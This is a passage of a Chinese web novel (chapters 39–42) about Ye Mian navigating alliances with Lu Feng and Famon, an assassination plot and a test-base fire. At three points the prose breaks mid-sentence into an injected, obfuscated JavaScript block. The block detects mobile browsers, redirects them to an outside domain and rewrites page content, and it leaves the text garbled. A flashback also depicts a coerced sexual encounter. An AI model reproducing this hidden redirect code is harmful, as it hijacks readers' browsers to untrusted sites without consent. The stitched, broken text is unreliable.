实话说,她身后没什么势力,另有是敌非友、已知未知的一大堆人在虎视眈眈,所以她很难拒绝一个合作伙伴,即使他们的关系有些复杂。 但叶眠确实有一瞬间无比失望而漠然地想,陆风这种人,改又能改到哪去呢? 与这份不看好相对应的,是在她第二天早上睁眼时,本应早早离开的陆指挥站在床边,把自己收拾得从头到脚一片妥帖。 墨镜被藏了起来,棕色的瞳孔深情依旧,下颌不见一丝胡茬,他声音温和地问:“德里克那边确实发来了试探,你想怎么处理?” 叶眠本来还有点半醒不醒,被陆指挥这副看似体面实则殷勤的样子刺激得呼吸都慢了一拍。 不,不止殷勤。 已经可以划归谄媚的范畴了。 不过谄媚得相当不显山不露水。 叶眠觉得躺着有点太没威风,结果陆风一眼看破,配合地把她拉起来,顺手给她背后塞了个枕头,然后弯腰,放低了终端显示屏:“他问我,记不记得陆峰曾经的合作。” 叶眠心情微妙,眼神移动,看到德里克老爷子的原话:“孩子,陆峰去世后我们就没有联系了,听闻你已继任指挥使,现在我们有一共同目标在前,不知我们有没有机会再续前缘?[微笑]” 不知道对方从哪搞来了陆风的无数个私联ID之一,虽然使用的账号ID加密,但结合昨天叶眠探听到的消息,确是老爷子无误。 “好别扭的口风。”叶眠伸了个拦腰,然后动作一顿,眉头挑高,心中抱着万分稀奇接过了陆风递来的水。 温度刚好。 “老一辈喜欢用文文绉绉的书面语,但有时用在社媒上,词不达意就会显得很古怪,”陆风好像完全意识不到自己在做什么一样,“你觉得我们怎么回复合适?” “回他,‘来者何人,报上名来’。”叶眠觑他一眼,开完笑似地说,然后端起杯子,遮掩自己掺着古怪和好笑的表情。 陆风显然是愣了一下,但他很好地掩饰了,抬手就要打字。 叶眠立刻……完全不准备制止。 她就这么看着,想看看陆风能做到哪一步。 陆风打完这八个字,结果还没等到叶眠的劝阻,终于有点进退维谷的模样了。 他放下手,清了下嗓子,口吻客观地说:“老爷子是很注重礼貌礼节的人,真要这么发,说不定合作就谈不成了。” 叶眠双手拿着杯子,仿佛无知无觉地说:“没事,发吧。” 陆风叹了口气,按下发送,却在最后一瞬间被叶眠截住:“哎,我开玩笑的。” 他顺势删掉一整句话,然后才说:“我差点以为你不想杀陆风了。” “那当然,杀还是要杀的,”叶眠悠悠然说,“比起咱俩过去那点龃龉,还是法蒙套在我脖子上这根绳更吓人一点。” “所以,你想怎么回复他?”陆风稍微晃了晃终端。 “你自己回呗,问我干什么?”叶眠反问,“我又不是你上司,你也不用听我的。” 陆风把一句话提到舌尖,兜兜转转两圈,总算说出来了:“我听你的,你别赶我。” “咦,轮到我当老大了?”叶眠歪了歪头,跟他继续拉扯,“这个身份有什么期限?” 陆风想哄人自然有他一套,后半夜明显给自己做好了心理建设,低头低得一点没有勉强的痕迹。 “到换届之前,只要是不违背原则的事,都可以,”他语气温柔,眼神更是掐得出水一样,“给我个机会,叶眠。” 叶眠不解风情地想:不愧是千人千面的情报部指挥使。 “不违背原则?”她咀嚼着这个用词,倒是真应了下来,“行。” 陆风眼睛微亮,叶眠却又说:“但老爷子来联系你,我要替你回,被看出不同来怎么办?” “他找的是这个身份上的你,又不是我。”她平平淡淡地说。 这就有点挑刺的意思了,陆风把对外的锋芒收了个干干净净,好脾气且耐心地说:“那你想让我往哪个方向说,我再修改用词。” 叶眠算是服了他的决心,摆摆手,让了一步:“如果真要动手,最好在换届之前。你自己回吧,把这个账号的对话记录发我一份就行。” 陆风点头,像个听话的管家:“你今天想做点什么?” 叶眠鸡皮疙瘩都起来了:“你没事做吗?不是要清理一下内部吗,快去吧。” “如果你需要我在,我就在。” 陆风在做到这一步之前,也没想到自己真能做到这里,他满眼真诚,诚心到了有些灼人的程度。 “只要你说。” “我不需要,”叶眠果断拒绝,“我去找小沈医生研究禁制环,你该干嘛干嘛。” 陆风眼神微涩。 她跟小沈的关系都比跟自己好了。 “好,那我有空会去看你们。” “……大可不必,真的,”叶眠几乎是无助地抱住自己胳膊,“陆风该不会忏悔了一晚上他有多对不起叶绵绵,然后就疯了吧?” 沈舒白被迫当了十分钟树洞,终于找到缝隙开口抗议:“那你再跟我说,是想折磨我吗?” “我只是想告诉你,你朋友最近有点不正常,”叶眠煞有介事地点头,“而且他不是还要清查内部人员吗?小心他等找你事。” “他能查我什……” 沈舒白想到自己的双面间谍身份,然后又看了看自己手头上瞒天过海的减效药,再看看旁边这个一脸“与世无争”的魔鬼,发现自己还真有点不经查。 “总之最近谨慎点吧,同事哥,”叶眠拍了拍他的手臂,“还有,好好干。” 沈舒白拍掉她的手,有些难受地皱眉:“无菌环境,你来就算了,在那坐着别动。” 叶眠若无其事地回到座位,打开终端,看到法蒙还发了条消息。 点进去一看。 “早[玫瑰]。” 叶眠喃喃地说:“我一定是欠他们的。” 不管是装成听话大狗的陆风,还是从头到尾不掩狼性的法蒙,叶眠只觉得自己活像那肉骨头转世,出来兜一圈风屁股后面钓了一群。 叶眠真有点好奇了,叶绵绵是抱着怎样的心面对这一切的?只靠对陆风的满腔爱意吗? 她提醒完沈舒白,没在这耽搁,直接去找了胖子:“开门,我。” 头发长了一圈的胖子谨慎依旧,开了个缝把人拉进来:“浪够了想起我了?” “咋说话呢,”叶眠淡定地说,“单纯想起来你之前说,蒋仕临有个儿媳妇的事儿。” “噢!”胖子眼一瞪,有些兴奋,“你听到了什么新八卦?” “不是听来的,是碰着蒋钰了,”叶眠不动如山地给自己倒了杯水,“他说我像他监狱里的前妻,你觉得这话什么意思?” 胖子:???? “你在开什么玩笑……” 小心地观察着叶眠表情,胖子惊恐地发现,对方真的没在开玩笑。 “不是,”他咽了下口水,“你杀的蒋仕临?” “对,”叶眠深沉地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292710|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“其实,我已经确认了。陆风跟蒋仕临有仇,所以他把叶绵绵送给了蒋家,结果就是叶绵绵韬光养晦两年,然后跟蒋家鱼死网破。” “等一下,等一下,”胖子艰难地咽了一下口水,“你……叶绵绵跟陆风,不是那种关系吗?” “对,但陆风不是人,”叶眠说,“现在比较重要的事情是,蒋钰起疑了,说要查我,他手下势力有多少?到底能不能查到我?” 胖子稍微正色:“前审判长,他手下的势力说大也大,说小也小。” “怎么说?”看他一副胸有成竹的模样,叶眠也配合地前倾了身体。 “审判庭手不干净,你知道吧,”胖子说,“一个案子,只要给够钱,他们能拖到原告出意外、或者让被告直接进大牢。” “审判庭不需要遵守法律吗?”叶眠不解。 “法律是由人诠释的,在联盟,对法律有最终解释权的,就是审判庭这群人。” 叶眠沉默了一会儿,问:“那蒋家……?” “蒋仕临这个审判长坐了快十年,他手下攒了各种家族黑料、冤案错案,只多不少。审判长票权比审判员更高,权力就是钱,蒋家是从他这起来的,就两代人。” 胖子低声感叹:“你知道这是多恐怖的敛财速度了吧。两代人。虽然他死了,但现在谁敢说蒋钰坏话?谁敢跟蒋钰叫板?也就他是个草包,蒋仕临还没把他塞进审判庭就死了……好吧,是被你杀了,蒋家这才有点青黄不接的意思。” “所以蒋钰没有完全掌握他爹的势力,或者说,只能掌握一部分?”叶眠若有所思。 “对,”胖子说,“要是他完全掌握了那些不可说,你还能活到现在吗?案子落地、你人头落地。” 他的假设听起来没什么威胁力,因为叶眠跟蒋公子见那一面,除了发现夫妻俩xp特殊,别的还真没感受出来。 “蒋钰,”她顿了顿,实话实说,“感觉还不如法蒙有威胁力。” “法蒙算啥,”胖子还不知道德里克家族里的新形势,“噢,你这个环还没解开呢?” 叶眠幽怨地看他一眼:“哪壶不开提哪壶。” 胖子:“嘿,难道不是你始乱终弃,跟陆风玩那么好,日夜相对乐不思蜀了?” “别提陆风了,我现在看着他都发怵。”叶眠叹了口气,三言两语把叶绵绵跟陆指挥的过去讲了讲。 “他不知道哪根筋搭错了,一副要赎罪的意思,咋,他是指挥使还我是?谁的责任也想骗我担?我可没忘了,出狱的时候我一心只想要自由。” 胖子安慰说:“能力越大,责任越大嘛。” 心里念叨着自由的叶眠准备使唤一下自己的新下属——陆秘书——去把自己的前夫处理一下。 陆秘书下班一向很晚,居安思危的叶眠决定:反正闲着也是闲着,干脆继续练异能吧。 叶眠充分地意识到了叶绵绵人际关系网之复杂、树敌之多。比起出门说不定还要遭什么人偷袭,肯定还是基地里更安全一点。 她应付了两口饭就换回睡衣,从柜子里拿出安眠药往床上一趟,继续她的练功大业。 大火如期而来,叶眠一睁眼,只听天花板上悬着的吊灯发出“吱嘎”一声,在她淡定的注视下,不堪重负地砸到了安全区外沿。 火灾中的建筑,什么倒了什么塌了都太正常,虽然差点被砸到,但叶眠的注意力完全不在这里。 因为吊灯砸下来的瞬间,她看到了一抹熟悉的银光跌到几米远外。 ——是铁片。 ——不出意外,也是有刻字的那种。 40. 第 40 章 叶眠的异能水平跟此前不可同日而语,可能是开发了新技能的缘故,她明显感觉自己对异能的掌控更加得心应手。 为了拿下第一张铁片,她把自己折腾了个半死,痛到从梦里醒来,摔在地上。 而现在,更低温更坚固的冰层护住身体,足够她绕过地下的碎玻璃,捡起几米外的铁片,再退回到安全圈里。 “代号小队,法师。” “我们呼唤真正的民主与和平,誓要对抗一切暴力与不公。以此信物,表我心迹,若得自由,不死不休。” 同样的誓词,但是不同的笔迹,不同的代号。 法师……是谁? 如果梦里的场景就是那场死星大火的无限重复,那法师会不会还活着?活着的话,会不会出现在反抗军?叶绵绵跟这个人有联系吗? 叶眠捏着铁片,任由自己思路发散。 “法师”这个代号,让她想到一个白发白袍的老头子,手里握着一根比人还高的权杖,庄严地走上大殿,然后转身一撩衣袖…… “想好了吗?小队每个成员都要起一个代号。” “那是因为你们从小在这长大,没有名字,只有号码。我有名字的,我要用我自己的名字……” “谁爱听你的血海深仇,快点想。” “话说,你们觉不觉得他很像前两天我们看那本《重生之法王归来》里的主角?” “失去一切的大法师每次都说要夺回他的权杖和荣耀,你别说,是挺像。” “……那我就叫法师?” “很称你的异能,法师。” 叶眠从片刻失神中找回状态,她捏了捏自己眉心,感觉有些诡异。 在这个梦里,她偶尔会触发一些奇怪的既视感。虽然现实中的叶眠十分肯定,自己跟叶绵绵是泾渭分明的两个人,但梦里,种种迹象都在诉说着她对这里的熟悉。 训练室空荡荡的枪架,她能凭直觉指出哪个位置放过哪个型号的模型,也知道枪架底下存了东西。 目光扫过食堂低矮的窗口,她脑子里能复现出每个窗口的食物模样,甚至清楚哪些能勉强下咽,哪些最好别碰。 这些称不上是清晰的记忆,但比起那个为爱献身的叶绵绵,基地里的事情虽然更久远,却更像是发生在她自己身上。 只是,她忘了。 叶眠捂住自己脑袋,想把自己沉浸到模糊的回忆中去,但那些声音画面的碎片并没有予以回应。 她放弃地睁开眼,再次拿起铁片。 至少根据她刚刚想起的对话片段,法师应该是男性,跟她同龄,来基地比较晚,异能跟元素类有关。 最后,所有疑问落到一句话上:法师,还活着吗? * 陆风是半夜回来的,仿佛有些近乡情怯。 一天了,他依然没有要给叶眠单独划个房间的意思,仿佛这种奇怪的同居关系对他来说仍是一种宽慰。 叶眠没睡,她在网上搜索那场死星大火的信息,报道出乎意料的少,媒体对此三缄其口,甚至装模作样地归因于意外。 没有任何公开资料提到试验基地,更没有人讨论实验体的去向。 所以她硬是醒着等到陆风无声无息地进了门。 陆风关门的动作一顿,很快带上完美的面具:“怎么了?” “问你点事,”叶眠拍拍沙发,和颜悦色,“来。” 她甚至主动伸手帮陆指挥脱了外套,也不卖关子:“跟叶绵绵一样的实验体,现在都在哪?” “情报这边有两个外派,大部分都在进攻组的尖刀先遣队,”陆风像是看出了她想问的,主动说,“我记得你跟那个十七号关系还可以,不过自从离开母舰,应该也没什么联系了。” 叶眠心中记下:十七号。 “那个基地,到底是研究什么的?” 陆峰摊开手:“研究异能提升的。一切记录都在大火中毁掉了,只知道死了很多天赋不错的孩子,救下来的实验体身手很好,问他们遭遇了什么,也都不肯说,活像回想一下就要了他们命一样。” 叶眠心想,怪了。 不是说异能没什么拔苗助长的途径吗? “而且,”陆风眉尖一动,“他们好像都对痛觉反应比较大,跟你一样。” 叶眠一愣,搓了搓手指。 都是痛觉超敏体质的话,那她的抗药性,甚至异能抵抗,会不会也都是群体特性? 所以沈舒云的报告里说,自己曾长期佩戴禁制环,应该也是实验基地里的事? “总之不会是什么很好的记忆,非法实验室做的事情,一项一项都拿不到明面上。联盟其实有在抵制,官方的实验室也一直在努力,只是效果有限。” 陆风表情柔和,伸手拉过她的肩头,安抚性地拍了两下:“我很庆幸那两个德里克发现了死星三号,也很高兴他们私下联系了反抗军去处理。都过去了,不想了。” 他今天不知道去了什么地方,衣服上沾了香烟的味道。叶眠一皱鼻子把人推开:“对了,还有蒋钰的事,能不能解决掉他,不然外出都不踏实。” “被吓得不敢出门了?” 陆风没在意,人退后了还有只手,他把叶眠的手握在指缝里捏,睫毛下垂,看不清眼里神色,“蒋钰不好弄,人人都想搞他,偏偏他大摇大摆地在外面,什么事都被他爹的旧手下安排好了。” “如果我异能还在,怎么也不至于现在这么窝囊,”叶眠嘟嘟囔囔地说,“大不了跟前夫殉情,一了百了。” “……说什么傻话,还殉情?蒋钰那种人,蓄意结交都是白费功夫,”陆风拍了她手背一下,“当时让你接近他只有一个目的,杀蒋仕林。” “你跟蒋仕林有什么仇?”叶眠稍微动了动脖子,干脆两只手都塞他手里让他捏个够。 “陆峰以反抗军身份被抓,我们找人疏通关系,卡在了蒋仕林那里。” 陆风把她的手放了回去。 “他亲自判下陆峰死刑,我记得很清楚,上午出的结果,审判庭压到下午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303676|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才发,我们以为陆峰人还在审判庭,下午准备实施援救,实际上他人已经死在处刑场了。” 他抬头,眼神微冷:“就在C监。” “杀父之仇,”叶眠点点头,又指指自己,“现在我跟他也是了。” 陆风眨了一下眼,稍微松弛了一些:“早知道派你去会有后来这些事,当时就该找别人。十七的评测仅次于你,同样是女性,我该直接找她的。” 十七号也是女生?叶眠稍微起了点兴趣:“我只能在换届见到她是吧。” “是。你有没有别的想问的?” 叶眠故作不知:“你有什么要汇报的吗?” “比起这些,我一直在等你问,德里克准备怎么围杀法蒙,毕竟今早的话题没有结束。”陆风语气沉静。 “总不至于明天就动手吧。”叶眠顺着说。 “一个月后是安娜和艾文的忌日,所以动手地点就选在联盟功勋墓园,那里不允许无关人员出入。”陆风平静地叙述着暗杀计划,“提前放出法蒙就是德里克继承人的事情,会有不少人蠢蠢欲动,我们在其中浑水摸鱼,这也是老爷子的意思。” 他说到这里,话音一停,眼神定定地落在叶眠脸上,藏着只有他自己知道的介怀。 陆风试图用自己的视角评判叶眠和法蒙的关系,可实在看不出什么。 叶眠一脸老神在在地评价:“老爷子利用自己儿子辈对付孙子辈,真是一点不手软。” “如果你想见十七号,我可以申请调她过来执行暗杀任务,”陆风微微前倾,拉近了两人之间的距离,“你要贿赂一下我吗?” 叶眠干脆地用额角顶住他的脑门,相当不识好歹地说:“我不是老大吗?还得老大亲自贿赂你?” 陆风愣了愣,低笑出声。 “老大允许你洗完澡上床,”叶眠退开,掐了掐他的脸皮,威胁一样地说,“别忘了打申请,我要见十七号。” 打一棒槌给个红枣,叶眠深谙御人之道。陆风一张脸也算得上赏心悦目,一身好皮囊给她暖个床,这叫什么? 哎,物尽其用。 名义上依然是两个人两个被窝,叶眠一只手溜进隔壁,捏了捏肩膀,又掐了把胸肌。 陆风一逮抓住她的爪子:“不睡可以干点别的。” 几秒钟的角力,叶眠的手指还在试图多揩两把油。最后感觉人绷得越来越紧了,她终于停手,开口带着点少见的温度。 “别偷偷抽烟了。” 声音传进耳朵,陆风一懵,叶眠已经缩了手回去,顺便翻了个身,仿佛在说他小气。 心里像是打翻了五味瓶,有点甜又有点苦,他想开口说些什么好听的,看着叶眠的后脑勺,最后把话都咽了下去。 半睡半醒之间,叶眠感觉自己连同被子卷一起被往后扯了扯。陆风似乎闷闷地说了句“好”,但她没听清,人就已经落到梦里。 陆风拿捏不好她若即若离的态度,哪知阴险狡诈的叶眠略施小计,只因单纯不喜欢闻烟味罢了。 41. 第 41 章 “整顿完C监后,我会以荣誉议员的身份回到议会。” 叶眠人在训练场,咂摸着大清早看见这句话的含义:“法蒙要公开自己身份。” “本来也是早晚的事,”沈舒白说,“这一届的议会主席私下里是革命党,这已经是他回归政权中心最好的机会了。” “革命党跟顽固党比起来,人数不是不占优吗?主席怎么上任的?” “他跟法蒙一样,身后有顽固派大家族,只要他不说,谁知道他是革命党。” “但这样,也没法明面上帮革命党做事啊,”叶眠说,“我记得他在宣传新的粮食法案,他这是帮顽固派还是帮革命派呢?” 沈舒白放下实验失败的配液,叹了口气:“粮食一直是个大问题,顽固派在旧式粮食法案中已经薅不出什么油水了,所以他们也想加快营养液推广。” “但其实营养液生产,到现在为止还没有一个能撑起场子的企业,”叶眠想起胖子的说法,“靠营养液赚钱,这是一块所有人都眼红、所有人都吃不到的饼。” 一场阳谋。 而反抗军已经选择押宝法格里布。 “整这些博弈,费脑子。”叶眠摇摇头。 “你在首都星,又不怎么出门,看不到中等星、垃圾星的生活。人要活,吃得起饭是最低需求,但联盟饿死的大有人在。”沈舒白一边洗手一边说,“在这件事上,革命党的主张最单纯。尽快批下预算,把对粮食企业的补贴转移到营养液研究上,先见到成果,再说别的。” “也是。陆风当时要求胖子松口,把生产线放到青砂星,怎么也不像是为了让营养液赶紧普及的样子。” 沈舒白关上水龙头,抬眼看她:“反抗军反的不是联盟,而是反星系旧秩序。” 叶眠一愣。 “他们也要反帝国,”沈舒白叹了口气,“放在青砂星,是反抗军鱼和熊掌的野心。” “跟联盟比起来,帝国的秩序更为苛刻原始,论起人民生活水平,他们说不定还不如我们。” * 中午,叶眠跟胖子一起来到食堂。再看碗里这些黑乎乎的饭菜,她脑子里想到的已经不只是泔水,而是各种势力的利益争抢。 “要是你们家有自保能力就好了。”叶眠突然说。 “咋了?”胖子往嘴里扒饭,“异能吗?我们家生来就不是攻击型的人,自然也很难觉醒攻击型的异能。” “我只是觉得,”叶眠眉头紧皱,“有实力才有话语权。” 沈舒白给她灌输了一上午的常识,叶眠一个用不太了异能的人,突然意识到了异能的重要性。 ——“皇帝本人S级不必多说,他在帝国就是规则。联盟这边,部门大臣要求A级,议会普通席位要求B+级,审判庭要求B级。异能实验室的提效药基本被垄断,再加上家族血统优势,C、D级的平民没有任何反抗的实力。而天赋好的平民会被吸收进家族或军队,前者被顽固党同化,后者没有背景,晋升之路根本看不到头。” 叶眠瞬间就想到蒋家,她问沈舒白:“血统优势,A和B+的小孩大概能是什么等级?” 沈舒白想都没想:“最低不会低于B。” ——怪不得把我送到蒋钰手里呢。 叶眠略微回神,敛眉说:“规则太残酷,我在这地下基地里呆了这么久,根本没怎么见识。” 她原本心里只有她的自由,吃过天空之脊、上过改装星舰,冷不防被塞了一耳朵社会现实,有种坠崖一般的落差感。 “啊,确实,”胖子停下吃饭的手,犹犹豫豫地说,“虽然没去过下层区,但我知道现在最流行的那种毒,饱腹感很强……比粮食便宜。” 叶眠彻底吃不下了。 “又难吃又贵,粮食大臣的脑袋,我看也是当心着点。”她把叉子往饭里一插,阴森森地说。 “他自己A级异能,身边还有安保队伍,想杀他的人不少呢。”胖子说着,继续吃饭,“我家也登过黑网发过委托,没成功。” 大力出奇迹。 没出就是不够大。 叶眠烦心地扯了扯脖子上的环,心想还有一个月。 无非是走前干了这单再去潇洒。 “之后你不用管我,陆风找你也别管,”好不容易把饭都吃了没有浪费,叶眠先跟胖子交了个底,“我天生觉多,反正不用担心。” “行,”胖子点点头,“你肯定有数。” 回到房间,叶眠从今天开始喝解决异能抵抗的药。药苦得她砸吧嘴,干脆打开黑网,里里外外地兜了一圈。 黑网就三个功能:委托、排行、论坛。 委托,顾名思义。只要你出的起价,只要对方有信心完成,那法律之外的事情,什么都可以干。 排行,通过委托完成数、完成率、用时等维度综合评价,随时更新。曾经的刘勇排名第97,不过死了。目前的第一名ID叫齐异,叶眠点了点,发现这人把私聊关了。 论坛,没有违禁词的论坛。联盟不允许说反抗军?这里随便说,被压的丑闻八卦,往往在这继续发酵。 黑网服务器信号比联盟公网还棒,据说联盟的信息部门找了很多年,一直没抓到组织者。 叶眠随手搜了搜死星大火,发现了一大堆水帖,筛了几条都是黑网用户的个人揣测,没什么参考价值。 叶眠吃药的苦劲过了,心想:如果反抗军这边没留什么有效信息,难不成还得去德里克那边找找? 还有一个月。 叶眠打开法蒙的聊天框,有些犹豫要不要提前给他提一句。 换句话说,她跟法蒙有没有什么合作空间呢? * 等晚上陆风回来,叶眠已经睡得不知今夕何夕,脚搭在他的枕头上,耀武扬威的模样。 这个场景曾经很少出现,陆风发现自己甚至能想起叶绵绵困到眼角挂着泪,但还是乖乖等他回家的模样。 他脱下外套,从酒柜里拿出一瓶酒,又拿了个杯子,坐沙发上。 叶绵绵跟蒋钰登记结婚那天,刚好是周一。 她嫁入蒋家,只有周一周二可以外出,所以每个周一他都会帮她遮掩,把人接回基地,周二再送回去。 她把电子证件放到他眼前,问:“你满意了吗?” 一对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319685|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怨偶,陆风想,然后把人按到自己怀里。 “等蒋仕林死了,你就回来。”他温声说。 叶绵绵在他怀里发抖,一句话都没说。而他的脑子里全都是怎么才能让审判庭的那个人死,用什么计谋、在什么场合、调动什么人手…… 他牙根发痒,甚至有一瞬间想让叶绵绵在蒋宅直接下杀手,但是理智又说,叶绵绵并不得他们父子信任,动手也不一定能成功。 他低头,看到叶绵绵的肩膀上有伤,于是呼吸一顿,轻轻地摸上去,问:“他们打你了?” 叶绵绵不吭声,只往他怀里钻。 “说话。”他嗓音发沉。 叶绵绵抬头的时候,眼睛是红的,像兔子,带着种清晰的绝望。 “你知道蒋仕林的母亲是怎么死的,”她哑着声音说,“你让我去,没想过我会遭遇什么吗?” 心里一片细细密密的不适,所以他短暂地闭上了眼,深呼吸,仿佛要把所有郁气都吐出去。 “我看看。”他睁开眼,说。 “别……” 叶绵绵的反抗,在他这里从来都是小猫伸爪。他没意识到自己是在心疼,只是越看,恨火愈高,几乎烧尽他的理智。 他努力地压住情绪,说:“我给你上点药。” “疼,陆哥,别……” 后来的动作就变了味道。 他好像跟四年前听到父亲身死的消息时一样无力,被放空的三年明明做了很多事,到头来,却好像还是那个无助的少年,面对着一场翻天覆地的大雨,被淋得湿透,什么都做不了。 杀蒋仕林要隐忍,他知道。 叶绵绵会受伤,他知道。 可为什么这么苦、这么苦,苦得他想杀人,一顿狂暴用力,却好像打在空气上。 他不知道,这份苦该怎么解。 叶绵绵哭得没声音,她狼狈地用胳膊挡着自己的眼睛,但依然能看到脸上的泪痕。 他知道自己失控,于是沉默地吻掉她的眼泪,又把两个人收拾干净。 “陆哥,我不想回去了。” 叶绵绵放下胳膊,睁着一双哀求的眼睛,好声好气地跟他说。 “我不想回去了。” “……绵绵。”他嘴里似乎还有她眼泪的湿咸,但理智又重新掌控了这具躯体——至少他以为那是理智。 于是叶绵绵懂了。 这件事没有商量的余地。 她的终端被扔在床头,他一抬头就能看到那张碍眼的证件照。 照片上的她面无表情,床上的她哭了一整夜。 第二天,叶绵绵依旧用那种令他呼吸不畅的目光看着他,每一眼都似乎在说:“能不能不要送我回去。” 他把她拉进怀里,亲了亲她的额头,说:“很快,绵绵,再忍一忍。” 陆风躺在沙发上,不知不觉地把一整瓶酒都喝完了。他把衬衣领子扯开,因为太用力,崩掉了一颗扣子。 扣子狠狠地打在他下巴上,那点痛几乎算不上什么,他却瞬间皱眉,按住了胸口的衣服。 心脏跳动,竟然是一件这么累、这么苦的事吗? 42. 第 42 章(微修结尾) 陆风行为上越发收敛,白天依然不见人影,但叶眠夜里会有种被注视的感觉,根本无法忽略。 她夜视相当不错,第一次二次警惕转醒,只看到一个满眼凄风苦雨还自以为掩饰很好的陆指挥,叶眠感觉有点惊悚,两人对视半晌,以陆指挥默默离开作为结局。 而第五六七次的时候,她就能直接翻个身继续睡了,相当坦然、相当无所谓。 叶眠恨陆风吗? 说实话,没什么感觉。 叶眠承认自己跟叶绵绵共通的那部分,但她又分得很清。绵绵是自己做的决定,她既然能压着陆风打,为什么还选择屈从呢? 因为感情。 这就是她们最大的不同。 叶眠心大,有她的自由,小伙伴的自由,有好吃的改良作物、好喝的营养液,甚至有她的荧光绿假发……唯独没有叶绵绵那么庞大沉重的感情。 她挺喜欢陆风的眼睛,但也只是这样了。 她同情叶绵绵的遭遇,但也只是这样了。 这些话说给沈舒白听,后者沉默半晌,才说:“我还以为你会想怎么报复他。” “如果顺手的话,我会的,”叶眠浑然自若,“但他现在很好用,报备得很勤快,多亏有他我才能掌握很多一手信息。” “可惜啊,虚假繁荣,等他意识到叶绵绵真的不会再回来的时候,指不定有多收不了场。” 沈舒白为她的清醒侧目一瞬:“法蒙知道你们现在这样吗?” “哪样?” 沈舒白困难地形容:“嗯……一边闹别扭,一边睡一张床?” “知道吧,”叶眠撇嘴,阴森森地说,“他也忙,管不着,哎,忙好啊,等我一个机会,把他们都鲨咯。” 沈舒白沉默。 他觉得自己这个位置也是相当难处,说好的双面间谍,间着间着就有往三面间谍发展的趋势…… 噢,加上瞒着姐姐研究针对禁制环,他这是四面间谍。 “我还没想好,要不要把陆风准备在墓园下手的事告诉法蒙,”叶眠最近一直在苦恼这件事,“陆风因为法蒙才有点危机感,拉米还在基地,要是法蒙真死在墓园,大概形势就要变成我们两个半人vs反抗军。” 沈舒白:“那半个是谁?” 叶眠:“你啊。” 沈舒白恨不得时间倒退,给自己两巴掌:让你再多嘴呢? “我需要法蒙承我的情,主动放我自由,”叶眠拿出法蒙那把枪,若有所思地摩挲过枪管,“最好的情况是他俩继续打擂台,正方便我逃走。” 沈舒白觉得她可怕:“你别跟我说了。万一我去告密,变成你vs反抗军和革命党呢。” “那我就说,其实我们才是真爱,你说他们会不会信?”叶眠笑嘻嘻,“小沈医生一表人才,我也不亏。” 沈舒白:让你再多嘴呢?! 与此同时,蒋钰的老管家也终于查到了一些蛛丝马迹。黑网杀手没有后续接单记录,大概率是死了,而C监代表着叶绵绵的278号则被隐藏了当前状态。 “叶绵绵……”蒋钰的表情越发狰狞。 老管家说:“我会在黑网发布长期追杀委托。” 蒋钰却说:“她是A级,如果彻底脱离了监狱控制,那些黑网上的杂鱼可不一定处理得掉。” “哼,不知道她怎么接触的德里克家,”他声音发冷,“盯着继承人的那边有什么消息?” 老管家微微俯身:“确实有些发现。德里克主宅每天都有悬浮车离开D环,如果叶绵绵是靠德里克离开C监,其实有个人,职务刚好对得上。” “法蒙中将,哦,他已经不是中将了,”蒋钰细细地咬着这个名字,像条嘶嘶吐信的蛇,“法蒙典狱长……法蒙.德里克?” “只是初步猜测,还需要进一步确认。”老管家说。 “你觉得我能让叶绵绵主动回来吗?”蒋钰摘下戒圈,在灯下欣赏着折射出的彩光。 老管家不动声色地说:“少爷如果有自己的想法,试一试也未尝不可。” 他一笑:“这不是在问你吗?你手里德里克的料子,厚吗?” 老管家微微皱眉:“少爷,那些东西不是这么用的。” 联盟核心圈里的暗流汹涌自有其规则,像那些料子,用过一次就不能再用。在他看来,老爷辛苦积攒下来的东西,浪费在这里实在不值。 蒋钰却不以为意:“等我成为审判长,自然会有新的料子补进来。” 老管家心想:等你成为审判长,怕不是这联盟都要散了。 他不再说话,只是忧心只多不少。 * 半个月过去了,整整半个月,叶眠出于谨慎完全没有出门。 陆风隔三差五打包天空之脊给她,叶眠吃得坦坦荡荡。 又一天吃独食的时候,叶眠嘴里塞着东西,一边把伸出左手:“你看我无名指。” 陆风微愣,心里一跳。 叶眠没让他动脑子猜:“有戒印,我之前没注意。” 陆风心落下去,“嗯”了一声。 “蒋钰?” “嗯。” 叶眠用“朽木不可雕也”的表情上上下下扫他一遍,直到陆风顶不住地动了动眉毛。 “唉。”叶眠叹气。 陆风垂眼:“不止是婚戒。” “噢?”叶眠歪头,来了兴趣。 “类似削弱功能的禁制环,”陆风抬眼,他坐得板正,衬衣只解了两颗扣子,“你在蒋家的时候,靠那枚戒指,异能会被压制到B级,甚至更低。” 